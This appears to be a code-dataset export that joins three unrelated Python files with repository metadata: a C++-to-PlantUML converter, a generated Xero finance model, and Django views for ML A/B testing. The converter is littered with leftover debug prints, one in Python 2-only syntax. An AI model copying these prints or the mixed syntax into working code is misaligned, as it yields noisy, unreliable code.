Additional parameters passed to parent class
"""
super().__init__('dependency', c_parent, c_child, **kwargs)
class Diagram(object):
"""UML diagram object
This class lists the objects in the set of files considered, and the
relationships between object.
The main interface to the `Diagram` object is via the ``create_*`` and
``add_*`` methods. The former parses objects and builds relationship lists
between the different parsed objects. The latter only parses objects and
does not builds relationship lists.
Each method has versions for file and string inputs and folder string lists
and file lists inputs.
"""
def __init__(self, template_file=None, flag_dep=False):
"""Constructor
The `Diagram` class constructor simply initializes object lists. It
does not create objects or relationships.
"""
self._flag_dep = flag_dep
self.clear()
loader_list = []
if template_file is not None:
loader_list.append(jinja2.FileSystemLoader(
os.path.abspath(os.path.dirname(template_file))))
self._template_file = os.path.basename(template_file)
else:
self._template_file = 'default.puml'
loader_list.append(jinja2.PackageLoader('hpp2plantuml', 'templates'))
self._env = jinja2.Environment(loader=jinja2.ChoiceLoader(
loader_list), keep_trailing_newline=True)
def clear(self):
"""Reinitialize object"""
self._objects = []
self._inheritance_list = []
self._aggregation_list = []
self._dependency_list = []
def _sort_list(input_list):
"""Sort list using `ClassRelationship` comparison
Parameters
----------
input_list : list(ClassRelationship)
Sort list using the :func:`ClassRelationship.comparison_keys`
comparison function
"""
input_list.sort(key=lambda obj: obj.comparison_keys())
def sort_elements(self):
"""Sort elements in diagram
Sort the objects and relationship links. Objects are sorted using the
:func:`Container.comparison_keys` comparison function and list are
sorted using the `_sort_list` helper function.
"""
self._objects.sort(key=lambda obj: obj.comparison_keys())
for obj in self._objects:
obj.sort_members()
Diagram._sort_list(self._inheritance_list)
Diagram._sort_list(self._aggregation_list)
Diagram._sort_list(self._dependency_list)
def _build_helper(self, input, build_from='string', flag_build_lists=True,
flag_reset=False):
"""Helper function to initialize a `Diagram` object from parsed headers
Parameters
----------
input : CppHeader or str or list(CppHeader) or list(str)
Input of arbitrary type. The processing depends on the
``build_from`` parameter
build_from : str
Determines the type of the ``input`` variable:
* ``string``: ``input`` is a string containing C++ header code
* ``file``: ``input`` is a filename to parse
* ``string_list``: ``input`` is a list of strings containing C++
header code
* ``file_list``: ``input`` is a list of filenames to parse
flag_build_lists : bool
When True, relationships lists are built and the objects in the
diagram are sorted, otherwise, only object parsing is performed
flag_reset : bool
If True, the object is initialized (objects and relationship lists
are cleared) prior to parsing objects, otherwise, new objects are
appended to the list of existing ones
"""
if flag_reset:
self.clear()
if build_from in ('string', 'file'):
self.parse_objects(input, build_from)
elif build_from in ('string_list', 'file_list'):
print("ddddddddddddddddddddddddddddddddddddddddddd")
print(input)
build_from_single = re.sub('_list$', '', build_from)
print("build_from_single: " + build_from_single)
for single_input in input:
print(" - " + single_input)
self.parse_objects(single_input, build_from_single)
print("ddddddddddddddddddddddddddddddddddddddddddd")
if flag_build_lists:
self.build_relationship_lists()
self.sort_elements()
def create_from_file(self, header_file):
"""Initialize `Diagram` object from header file
Wrapper around the :func:`_build_helper` function, with ``file`` input,
building the relationship lists and with object reset.
"""
self._build_helper(header_file, build_from='file',
flag_build_lists=True, flag_reset=True)
def create_from_file_list(self, file_list):
"""Initialize `Diagram` object from list of header files
Wrapper around the :func:`_build_helper` function, with ``file_list``
input, building the relationship lists and with object reset.
"""
print("ccccccccccccccccccccccccccccccccccccccccccc")
print file_list
print("ccccccccccccccccccccccccccccccccccccccccccc")
self._build_helper(file_list, build_from='file_list',
flag_build_lists=True, flag_reset=True)
def add_from_file(self, header_file):
"""Augment `Diagram` object from header file
Wrapper around the :func:`_build_helper` function, with ``file`` input,
skipping building of the relationship lists and without object reset
(new objects are added to the object).
"""
self._build_helper(header_file, build_from='file',
flag_build_lists=False, flag_reset=False)
def add_from_file_list(self, file_list):
"""Augment `Diagram` object from list of header files
Wrapper around the :func:`_build_helper` function, with ``file_list``
input, skipping building of the relationship lists and without object
reset (new objects are added to the object).
"""
self._build_helper(file_list, build_from='file_list',
flag_build_lists=False, flag_reset=False)
def create_from_string(self, header_string):
"""Initialize `Diagram` object from header string
Wrapper around the :func:`_build_helper` function, with ``string``
input, building the relationship lists and with object reset.
"""
self._build_helper(header_string, build_from='string',
flag_build_lists=True, flag_reset=True)
def create_from_string_list(self, string_list):
"""Initialize `Diagram` object from list of header strings
Wrapper around the :func:`_build_helper` function, with ``string_list``
input, skipping building of the relationship lists and with object
reset.
"""
self._build_helper(string_list, build_from='string_list',
flag_build_lists=True, flag_reset=True)
def add_from_string(self, header_string):
"""Augment `Diagram` object from header string
Wrapper around the :func:`_build_helper` function, with ``string``
input, skipping building of the relationship lists and without object
reset (new objects are added to the object).
"""
self._build_helper(header_string, build_from='string',
flag_build_lists=False, flag_reset=False)
def add_from_string_list(self, string_list):
"""Augment `Diagram` object from list of header strings
Wrapper around the :func:`_build_helper` function, with ``string_list``
input, building the relationship lists and without object reset (new
objects are added to the object).
"""
self._build_helper(string_list, build_from='string_list',
flag_build_lists=False, flag_reset=False)
def build_relationship_lists(self):
"""Build inheritance and aggregation lists from parsed objects
This method successively calls the :func:`build_inheritance_list` and
:func:`build_aggregation_list` methods.
"""
self.build_inheritance_list()
self.build_aggregation_list()
if self._flag_dep:
self.build_dependency_list()
def parse_objects(self, header_file, arg_type='string'):
"""Parse objects
This method parses file of string inputs using the CppHeaderParser
module and extracts internal objects for rendering.
Parameters
----------
header_file : str
A string containing C++ header code or a filename with C++ header
code
arg_type : str
It set to ``string``, ``header_file`` is considered to be a string,
otherwise, it is assumed to be a filename
"""
print("eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee")
print(" header_file: " + header_file)
print(" arg_type: " + arg_type)
print("eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee")
parsed_header = CppHeaderParser.CppHeader(header_file,
argType=arg_type)
print("fffffffffffffffffffffffffffffffffffffffffff")
print("parsed_header: ")
print("fffffffffffffffffffffffffffffffffffffffffff")
for container_type, container_iterator, \
container_handler in CONTAINER_TYPE_MAP:
objects = parsed_header.__getattribute__(container_type)
print("ggggggggggggggggggggggggggggggggggggggggggg")
print(" objects:")
print(objects)
print("ggggggggggggggggggggggggggggggggggggggggggg")
for obj in container_iterator(objects):
print("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh")
print(" obj:")
print(obj)
print("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh")
self._objects.append(container_handler(obj))
print("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")
def _make_class_list(self):
"""Build list of classes
Returns
-------
list(dict)
Each entry is a dictionary with keys ``name`` (class name) and
``obj`` the instance of the `Class` class
"""
return [{'name': obj.get_name(), 'obj': obj}
for obj in self._objects if isinstance(obj, Class)]
def build_inheritance_list(self):
"""Build list of inheritance between objects
This method lists all the inheritance relationships between objects
contained in the `Diagram` object (external relationships are ignored).
The implementation establishes a list of available classes and loops
over objects to obtain their inheritance. When parent classes are in
the list of available classes, a `ClassInheritanceRelationship` object
is added to the list.
"""
self._inheritance_list = []
class_list_obj = self._make_class_list()
class_list = [c['name'] for c in class_list_obj]
flag_use_namespace = any([c['obj']._namespace for c in class_list_obj])
for obj in self._objects:
obj_name = obj.get_name()
if isinstance(obj, Class):
for parent in obj.build_inheritance_list():
if parent in class_list:
parent_obj = class_list_obj[
class_list.index(parent)]['obj']
self._inheritance_list.append(
ClassInheritanceRelationship(
parent_obj, obj,
flag_use_namespace=flag_use_namespace))
def build_aggregation_list(self):
"""Build list of aggregation relationships
This method loops over objects and finds members with type
corresponding to other classes defined in the `Diagram` object (keeping
a count of occurrences).
The procedure first builds an internal dictionary of relationships
found, augmenting the count using the :func:`_augment_comp` function.
In a second phase, `ClassAggregationRelationship` objects are created
for each relationships, using the calculated count.
"""
self._aggregation_list = []
class_list_obj = self._make_class_list()
class_list = [c['name'] for c in class_list_obj]
flag_use_namespace = any([c['obj']._namespace for c in class_list_obj])
variable_type_list = {}
for obj in self._objects:
obj_name = obj.get_name()
if isinstance(obj, Class):
variable_type_list[obj_name] = obj.build_variable_type_list()
aggregation_counts = {}
for child_class in class_list:
if child_class in variable_type_list.keys():
var_types = variable_type_list[child_class]
for var_type in var_types:
for parent in class_list:
if re.search(r'\b' + parent + r'\b', var_type):
rel_type = 'composition'
if '{}*'.format(parent) in var_type:
rel_type = 'aggregation'
self._augment_comp(aggregation_counts, parent,
child_class, rel_type=rel_type)
for obj_class, obj_comp_list in aggregation_counts.items():
for comp_parent, rel_type, comp_count in obj_comp_list:
obj_class_idx = class_list.index(obj_class)
obj_class_obj = class_list_obj[obj_class_idx]['obj']
comp_parent_idx = class_list.index(comp_parent)
comp_parent_obj = class_list_obj[comp_parent_idx]['obj']
self._aggregation_list.append(
ClassAggregationRelationship(
obj_class_obj, comp_parent_obj, comp_count,
rel_type=rel_type,
flag_use_namespace=flag_use_namespace))
def build_dependency_list(self):
"""Build list of dependency between objects
This method lists all the dependency relationships between objects
contained in the `Diagram` object (external relationships are ignored).
The implementation establishes a list of available classes and loops
over objects, list their methods adds a dependency relationship when a
method takes an object as input.
"""
self._dependency_list = []
class_list_obj = self._make_class_list()
class_list = [c['name'] for c in class_list_obj]
flag_use_namespace = any([c['obj']._namespace for c in class_list_obj])
objects_name = []
for obj in self._objects:
objects_name.append(obj.get_name())
for obj in self._objects:
if isinstance(obj, Class):
for member in obj._member_list:
if isinstance(member, ClassMethod):
for method in member._param_list:
index = ValueError
try:
index = [re.search(o, method[0]) is not None
for o in objects_name].index(True)
except ValueError:
pass
if index != ValueError and \
method[0] != obj.get_name():
depend_obj = self._objects[index]
self._dependency_list.append(
ClassDependencyRelationship(
depend_obj, obj,
flag_use_namespace=flag_use_namespace))
def _augment_comp(self, c_dict, c_parent, c_child, rel_type='aggregation'):
"""Increment the aggregation reference count
If the aggregation relationship is not in the list (``c_dict``), then
add a new entry with count 1. If the relationship is already in the
list, then increment the count.
Parameters
----------
c_dict : dict
List of aggregation relationships. For each dictionary key, a pair
of (str, int) elements: string and number of occurrences
c_parent : str
Parent class name
c_child : str
Child class name
rel_type : str
Relationship type: ``aggregation`` or ``composition``
"""
if c_child not in c_dict:
c_dict[c_child] = [[c_parent, rel_type, 1], ]
else:
parent_list = [c[:2] for c in c_dict[c_child]]
if [c_parent, rel_type] not in parent_list:
c_dict[c_child].append([c_parent, rel_type, 1])
else:
c_idx = parent_list.index([c_parent, rel_type])
c_dict[c_child][c_idx][2] += 1
def render(self):
"""Render full UML diagram
The string returned by this function should be ready to use with the
PlantUML program. It includes all the parsed objects with their
members, and the inheritance and aggregation relationships extracted
from the list of objects.
Returns
-------
str
String containing the full string representation of the `Diagram`
object, including objects and object relationships
"""
template = self._env.get_template(self._template_file)
return template.render(objects=self._objects,
inheritance_list=self._inheritance_list,
aggregation_list=self._aggregation_list,
dependency_list=self._dependency_list,
flag_dep=self._flag_dep)
def _cleanup_type(type_str):
"""Cleanup string representing a C++ type
Cleanup simply consists in removing spaces before a ``*`` character and
preventing multiple successive spaces in the string.
Parameters
----------
type_str : str
A string representing a C++ type definition
Returns
-------
str
The type string after cleanup
"""
return re.sub(r'[ ]+([*&])', r'\1',
re.sub(r'(\s)+', r'\1', type_str))
def _cleanup_single_line(input_str):
"""Cleanup string representing a C++ type
Remove line returns
Parameters
----------
input_str : str
A string possibly spreading multiple lines
Returns
-------
str
The type string in a single line
"""
return re.sub(r'\s+', ' ', re.sub(r'(\r)?\n', ' ', input_str))
def expand_file_list(input_files):
"""Find all files in list (expanding wildcards)
This function uses `glob` to find files matching each string in the input
list.
Parameters
----------
input_files : list(str)
List of strings representing file names and possibly including
wildcards
Returns
-------
list(str)
List of filenames (with wildcards expanded). Each element contains the
name of an existing file
"""
file_list = []
for input_file in input_files:
file_list += glob.glob(input_file)
print("Input File: " + input_file)
return file_list
def wrap_namespace(input_str, namespace):
"""Wrap string in namespace
Parameters
----------
input_str : str
String containing PlantUML code
namespace : str
Namespace name
Returns
-------
str
``input_str`` wrapped in ``namespace`` block
"""
return 'namespace {} {{\n'.format(namespace) + \
'\n'.join([re.sub('^', '\t', line)
for line in input_str.splitlines()]) + \
'\n}\n'
def CreatePlantUMLFile(file_list, output_file=None, **diagram_kwargs):
"""Create PlantUML file from list of header files
This function parses a list of C++ header files and generates a file for
use with PlantUML.
Parameters
----------
file_list : list(str)
List of filenames (possibly, with wildcards resolved with the
:func:`expand_file_list` function)
output_file : str
Name of the output file
diagram_kwargs : dict
Additional parameters passed to :class:`Diagram` constructor
"""
print("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
print("file_list: ")
print(file_list)
print("output_file: " + output_file)
print("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
if isinstance(file_list, str):
file_list_c = [file_list, ]
else:
file_list_c = file_list
print("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb")
print("file_list_c: ")
print(file_list_c)
print("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb")
diag = Diagram(**diagram_kwargs)
diag.create_from_file_list(list(set(expand_file_list(file_list_c))))
diag_render = diag.render()
if output_file is None:
print(diag_render)
else:
print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz")
print(diag_render)
print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz")
with open(output_file, 'wt') as fid:
fid.write(diag_render)
def main():
"""Command line interface
This function is a command-line interface to the
:func:`hpp2plantuml.CreatePlantUMLFile` function.
Arguments are read from the command-line, run with ``--help`` for help.
"""
parser = argparse.ArgumentParser(description='hpp2plantuml tool.')
parser.add_argument('-i', '--input-file', dest='input_files',
action='append', metavar='HEADER-FILE', required=True,
help='input file (must be quoted' +
' when using wildcards)')
parser.add_argument('-o', '--output-file', dest='output_file',
required=False, default=None, metavar='FILE',
help='output file')
parser.add_argument('-d', '--enable-dependency', dest='flag_dep',
required=False, default=False, action='store_true',
help='Extract dependency relationships from method ' +
'arguments')
parser.add_argument('-t', '--template-file', dest='template_file',
required=False, default=None, metavar='JINJA-FILE',
help='path to jinja2 template file')
parser.add_argument('--version', action='version',
version='%(prog)s ' + '0.6')
args = parser.parse_args()
if len(args.input_files) > 0:
CreatePlantUMLFile(args.input_files, args.output_file,
template_file=args.template_file,
flag_dep=args.flag_dep)
if __name__ == '__main__':
main()
| false | true |
f7f360488857f1d0d507401002b819f7595d3610 | 3,644 | py | Python | xero_python/finance/models/pnl_account_type.py | gavinwhyte/xero-python | 53a028c3b7c51da1db203b616bf7b7a028a4a1d2 | [
"MIT"
] | 1 | 2022-01-22T20:50:36.000Z | 2022-01-22T20:50:36.000Z | xero_python/finance/models/pnl_account_type.py | kos7138/xero-python | fd4b00016366880d61b42437397e732f53fc8ce2 | [
"MIT"
] | null | null | null | xero_python/finance/models/pnl_account_type.py | kos7138/xero-python | fd4b00016366880d61b42437397e732f53fc8ce2 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
Xero Finance API
The Finance API is a collection of endpoints which customers can use in the course of a loan application, which may assist lenders to gain the confidence they need to provide capital. # noqa: E501
Contact: api@xero.com
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
from xero_python.models import BaseModel
class PnlAccountType(BaseModel):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {"total": "float", "title": "str", "accounts": "list[PnlAccount]"}
attribute_map = {"total": "total", "title": "title", "accounts": "accounts"}
def __init__(self, total=None, title=None, accounts=None): # noqa: E501
"""PnlAccountType - a model defined in OpenAPI""" # noqa: E501
self._total = None
self._title = None
self._accounts = None
self.discriminator = None
if total is not None:
self.total = total
if title is not None:
self.title = title
if accounts is not None:
self.accounts = accounts
@property
def total(self):
"""Gets the total of this PnlAccountType. # noqa: E501
Total movement on this account type # noqa: E501
:return: The total of this PnlAccountType. # noqa: E501
:rtype: float
"""
return self._total
@total.setter
def total(self, total):
"""Sets the total of this PnlAccountType.
Total movement on this account type # noqa: E501
:param total: The total of this PnlAccountType. # noqa: E501
:type: float
"""
self._total = total
@property
def title(self):
"""Gets the title of this PnlAccountType. # noqa: E501
Name of this account type, it will be either Trading Income or Other Income for Revenue section / Direct Cost or Operating Expenses for Expense section # noqa: E501
:return: The title of this PnlAccountType. # noqa: E501
:rtype: str
"""
return self._title
@title.setter
def title(self, title):
"""Sets the title of this PnlAccountType.
Name of this account type, it will be either Trading Income or Other Income for Revenue section / Direct Cost or Operating Expenses for Expense section # noqa: E501
:param title: The title of this PnlAccountType. # noqa: E501
:type: str
"""
self._title = title
@property
def accounts(self):
"""Gets the accounts of this PnlAccountType. # noqa: E501
A list of the movement on each account detail during the query period. Refer to the account detail element below # noqa: E501
:return: The accounts of this PnlAccountType. # noqa: E501
:rtype: list[PnlAccount]
"""
return self._accounts
@accounts.setter
def accounts(self, accounts):
"""Sets the accounts of this PnlAccountType.
A list of the movement on each account detail during the query period. Refer to the account detail element below # noqa: E501
:param accounts: The accounts of this PnlAccountType. # noqa: E501
:type: list[PnlAccount]
"""
self._accounts = accounts
| 30.621849 | 201 | 0.627333 |
import re
from xero_python.models import BaseModel
class PnlAccountType(BaseModel):
openapi_types = {"total": "float", "title": "str", "accounts": "list[PnlAccount]"}
attribute_map = {"total": "total", "title": "title", "accounts": "accounts"}
def __init__(self, total=None, title=None, accounts=None):
self._total = None
self._title = None
self._accounts = None
self.discriminator = None
if total is not None:
self.total = total
if title is not None:
self.title = title
if accounts is not None:
self.accounts = accounts
@property
def total(self):
return self._total
@total.setter
def total(self, total):
self._total = total
@property
def title(self):
return self._title
@title.setter
def title(self, title):
self._title = title
@property
def accounts(self):
return self._accounts
@accounts.setter
def accounts(self, accounts):
self._accounts = accounts
| true | true |
f7f3641317730b4ed7058654c1d3a40be0000475 | 10,365 | py | Python | backend/ml_service/apps/endpoints/views.py | cx201910/first_ml | b4ece4f275911707dda5ca461989f1dfdbf25021 | [
"MIT"
] | null | null | null | backend/ml_service/apps/endpoints/views.py | cx201910/first_ml | b4ece4f275911707dda5ca461989f1dfdbf25021 | [
"MIT"
] | null | null | null | backend/ml_service/apps/endpoints/views.py | cx201910/first_ml | b4ece4f275911707dda5ca461989f1dfdbf25021 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from rest_framework import viewsets
from rest_framework import mixins
from rest_framework.exceptions import APIException
from rest_framework.decorators import action
from .models import Endpoint
from .serializers import EndpointSerializer
from .models import MLAlgorithm
from .serializers import MLAlgorithmSerializer
from .models import MLAlgorithmStatus
from .serializers import MLAlgorithmStatusSerializer
from .models import MLRequest
from .serializers import MLRequestSerializer
import json
from numpy.random import rand
from rest_framework import views, status
from rest_framework.response import Response
from apps.ml.registry import MLRegistry
from ml_service.wsgi import registry
from django.db import transaction
from apps.endpoints.models import ABTest
from apps.endpoints.serializers import ABTestSerializer
from apps.endpoints.models import PredictStore
from apps.endpoints.serializers import PredictStoreSerializer
from django.db.models import F
import datetime
# Create your views here.
class EndpointViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet):
serializer_class = EndpointSerializer
queryset = Endpoint.objects.all()
class MLAlgorithmViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet):
serializer_class = MLAlgorithmSerializer
queryset = MLAlgorithm.objects.all()
def deactivate_other_statuses(instance):
old_statuses = MLAlgorithmStatus.objects.filter(parent_mlalgorithm = instance.parent_mlalgorithm, created_at__lt=instance.created_at, active=True)
for i in range(len(old_statuses)):
old_statuses[i].active = False
MLAlgorithmStatus.objects.bulk_update(old_statuses, ['active'])
class MLAlgorithmStatusViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, mixins.CreateModelMixin, viewsets.GenericViewSet):
serializer_class = MLAlgorithmStatusSerializer
queryset = MLAlgorithmStatus.objects.all()
def perform_create(self, serializer):
try:
with transaction.atomic():
instance = serializer.save(active=True)
# set active=False for other statuses
deactivate_other_statuses(instance)
except Exception as e:
raise APIException(str(e))
class MLRequestViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, mixins.UpdateModelMixin, viewsets.GenericViewSet):
serializer_class = MLRequestSerializer
queryset = MLRequest.objects.all()
class PredictView(views.APIView):
def post(self, request, endpoint_name, format=None):
algorithm_status = self.request.query_params.get('status', 'production')
algorithm_version = self.request.query_params.get('version')
algs = MLAlgorithm.objects.filter(parent_endpoint__name=endpoint_name, status__status=algorithm_status, status__active=True)
if algorithm_version is not None:
algs = algs.filter(version = algorithm_version)
if len(algs) == 0:
return Response(
{'status': 'Error', 'message': 'ML algorithm is not available'},
status=status.HTTP_400_BAD_REQUEST,
)
if len(algs) != 1 and algorithm_status != 'ab_testing':
return Response(
{'status': f'Error of {len(algs)} algorithms', 'message': 'ML algorithm selection is ambiguous. Please specify algorithm version.'},
status=status.HTTP_400_BAD_REQUEST,
)
alg_index = 0
if algorithm_status == 'ab_testing':
alg_index = 0 if rand() < 0.5 else 1
algorithm_object = registry.endpoints[algs[alg_index].id]
prediction = algorithm_object.compute_prediction(request.data)
label = prediction['label'] if 'label' in prediction else 'error'
ml_request = MLRequest(
input_data=json.dumps(request.data),
full_response=prediction,
response=label,
feedback='',
parent_mlalgorithm=algs[alg_index],
)
ml_request.save()
prediction['request_id'] = ml_request.id
return Response(prediction)
class ABTestViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin,
viewsets.GenericViewSet, mixins.CreateModelMixin,
mixins.UpdateModelMixin):
serializer_class = ABTestSerializer
queryset = ABTest.objects.all()
def perform_create(self, serializer):
try:
with transaction.atomic():
instance = serializer.save()
# update status for first algorithm
status_1 = MLAlgorithmStatus(status = 'ab_testing',
created_by=instance.created_by,
parent_mlalgorithm = instance.parent_mlalgorithm_1,
active=True)
status_1.save()
deactivate_other_statuses(status_1)
# update status for second algorithm
status_2 = MLAlgorithmStatus(status = 'ab_testing',
created_by=instance.created_by,
parent_mlalgorithm = instance.parent_mlalgorithm_2,
active=True)
status_2.save()
deactivate_other_statuses(status_2)
except Exception as e:
raise APIException(str(e))
class StopABTestView(views.APIView):
def post(self, request, ab_test_id, format=None):
try:
ab_test = ABTest.objects.get(pk=ab_test_id)
if ab_test.ended_at is not None:
return Response({'message': 'AB Test already finished.'})
date_now = datetime.datetime.now()
# alg #1 accuracy
all_responses_1 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_1, created_at__gt = ab_test.created_at, created_at__lt = date_now).count()
correct_responses_1 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_1, created_at__gt = ab_test.created_at, created_at__lt = date_now, response=F('feedback')).count()
accuracy_1 = correct_responses_1 / float(all_responses_1)
print(all_responses_1, correct_responses_1, accuracy_1)
# alg #2 accuracy
all_responses_2 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_2, created_at__gt = ab_test.created_at, created_at__lt = date_now).count()
correct_responses_2 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_2, created_at__gt = ab_test.created_at, created_at__lt = date_now, response=F('feedback')).count()
accuracy_2 = correct_responses_2 / float(all_responses_2)
print(all_responses_2, correct_responses_2, accuracy_2)
# select algorithm with higher accuracy
alg_id_1, alg_id_2 = ab_test.parent_mlalgorithm_1, ab_test.parent_mlalgorithm_2
# swap
if accuracy_1 < accuracy_2:
alg_id_1, alg_id_2 = alg_id_2, alg_id_1
status_1 = MLAlgorithmStatus(status = 'production',
created_by=ab_test.created_by,
parent_mlalgorithm = alg_id_1,
active=True)
status_1.save()
deactivate_other_statuses(status_1)
# update status for second algorithm
status_2 = MLAlgorithmStatus(status = 'testing',
created_by=ab_test.created_by,
parent_mlalgorithm = alg_id_2,
active=True)
status_2.save()
deactivate_other_statuses(status_2)
summary = 'Algorithm #1 accuracy: {}, Algorithm #2 accuracy: {}'.format(accuracy_1, accuracy_2)
ab_test.ended_at = date_now
ab_test.summary = summary
ab_test.save()
except Exception as e:
return Response({'status': 'Error', 'message': str(e)},
status=status.HTTP_400_BAD_REQUEST
)
return Response({'message': 'AB Test finished.', 'summary': summary})
class PredictStoreViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet):
serializer_class = PredictStoreSerializer
queryset = PredictStore.objects.all()
@action(detail=True, methods=['post'])
def predict(self, request, pk=None, format=None):
serializer = PredictStoreSerializer(data=request.data)
if serializer.is_valid():
ml_algorithm_s = serializer.validated_data['ml_algorithm']
created_by_s = serializer.validated_data['created_by']
target = serializer.validated_data['target']
else:
return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
alg_status = MLAlgorithmStatus(status='production',
created_by=created_by_s,
parent_mlalgorithm=ml_algorithm_s, active=True)
alg_status.save()
deactivate_other_statuses(alg_status)
data = json.loads(request.data['input_data'])
algs = MLAlgorithm.objects.filter(status__parent_mlalgorithm=ml_algorithm_s, status__active=True)
algorithm_object = registry.endpoints[algs[0].id]
prediction = algorithm_object.compute_prediction(data)
label = prediction['label'] if 'label' in prediction else 'error'
ml_request = MLRequest(
input_data=json.dumps(data),
full_response=prediction,
response=label,
feedback=target,
parent_mlalgorithm=algs[0], )
ml_request.save()
prediction["request_id"] = ml_request.id
if serializer.is_valid():
serializer.validated_data['prediction'] = prediction
else:
return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
if PredictStore.objects.filter(id=pk).exists():
instance = PredictStore.objects.get(id=pk)
instance.prediction = prediction
instance.target = target
instance.save()
else:
serializer.save()
return Response(serializer.data)
| 41.130952 | 203 | 0.665798 | from django.shortcuts import render
from rest_framework import viewsets
from rest_framework import mixins
from rest_framework.exceptions import APIException
from rest_framework.decorators import action
from .models import Endpoint
from .serializers import EndpointSerializer
from .models import MLAlgorithm
from .serializers import MLAlgorithmSerializer
from .models import MLAlgorithmStatus
from .serializers import MLAlgorithmStatusSerializer
from .models import MLRequest
from .serializers import MLRequestSerializer
import json
from numpy.random import rand
from rest_framework import views, status
from rest_framework.response import Response
from apps.ml.registry import MLRegistry
from ml_service.wsgi import registry
from django.db import transaction
from apps.endpoints.models import ABTest
from apps.endpoints.serializers import ABTestSerializer
from apps.endpoints.models import PredictStore
from apps.endpoints.serializers import PredictStoreSerializer
from django.db.models import F
import datetime
class EndpointViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet):
serializer_class = EndpointSerializer
queryset = Endpoint.objects.all()
class MLAlgorithmViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet):
serializer_class = MLAlgorithmSerializer
queryset = MLAlgorithm.objects.all()
def deactivate_other_statuses(instance):
old_statuses = MLAlgorithmStatus.objects.filter(parent_mlalgorithm = instance.parent_mlalgorithm, created_at__lt=instance.created_at, active=True)
for i in range(len(old_statuses)):
old_statuses[i].active = False
MLAlgorithmStatus.objects.bulk_update(old_statuses, ['active'])
class MLAlgorithmStatusViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, mixins.CreateModelMixin, viewsets.GenericViewSet):
serializer_class = MLAlgorithmStatusSerializer
queryset = MLAlgorithmStatus.objects.all()
def perform_create(self, serializer):
try:
with transaction.atomic():
instance = serializer.save(active=True)
deactivate_other_statuses(instance)
except Exception as e:
raise APIException(str(e))
class MLRequestViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, mixins.UpdateModelMixin, viewsets.GenericViewSet):
serializer_class = MLRequestSerializer
queryset = MLRequest.objects.all()
class PredictView(views.APIView):
def post(self, request, endpoint_name, format=None):
algorithm_status = self.request.query_params.get('status', 'production')
algorithm_version = self.request.query_params.get('version')
algs = MLAlgorithm.objects.filter(parent_endpoint__name=endpoint_name, status__status=algorithm_status, status__active=True)
if algorithm_version is not None:
algs = algs.filter(version = algorithm_version)
if len(algs) == 0:
return Response(
{'status': 'Error', 'message': 'ML algorithm is not available'},
status=status.HTTP_400_BAD_REQUEST,
)
if len(algs) != 1 and algorithm_status != 'ab_testing':
return Response(
{'status': f'Error of {len(algs)} algorithms', 'message': 'ML algorithm selection is ambiguous. Please specify algorithm version.'},
status=status.HTTP_400_BAD_REQUEST,
)
alg_index = 0
if algorithm_status == 'ab_testing':
alg_index = 0 if rand() < 0.5 else 1
algorithm_object = registry.endpoints[algs[alg_index].id]
prediction = algorithm_object.compute_prediction(request.data)
label = prediction['label'] if 'label' in prediction else 'error'
ml_request = MLRequest(
input_data=json.dumps(request.data),
full_response=prediction,
response=label,
feedback='',
parent_mlalgorithm=algs[alg_index],
)
ml_request.save()
prediction['request_id'] = ml_request.id
return Response(prediction)
class ABTestViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin,
viewsets.GenericViewSet, mixins.CreateModelMixin,
mixins.UpdateModelMixin):
serializer_class = ABTestSerializer
queryset = ABTest.objects.all()
def perform_create(self, serializer):
try:
with transaction.atomic():
instance = serializer.save()
status_1 = MLAlgorithmStatus(status = 'ab_testing',
created_by=instance.created_by,
parent_mlalgorithm = instance.parent_mlalgorithm_1,
active=True)
status_1.save()
deactivate_other_statuses(status_1)
status_2 = MLAlgorithmStatus(status = 'ab_testing',
created_by=instance.created_by,
parent_mlalgorithm = instance.parent_mlalgorithm_2,
active=True)
status_2.save()
deactivate_other_statuses(status_2)
except Exception as e:
raise APIException(str(e))
class StopABTestView(views.APIView):
def post(self, request, ab_test_id, format=None):
try:
ab_test = ABTest.objects.get(pk=ab_test_id)
if ab_test.ended_at is not None:
return Response({'message': 'AB Test already finished.'})
date_now = datetime.datetime.now()
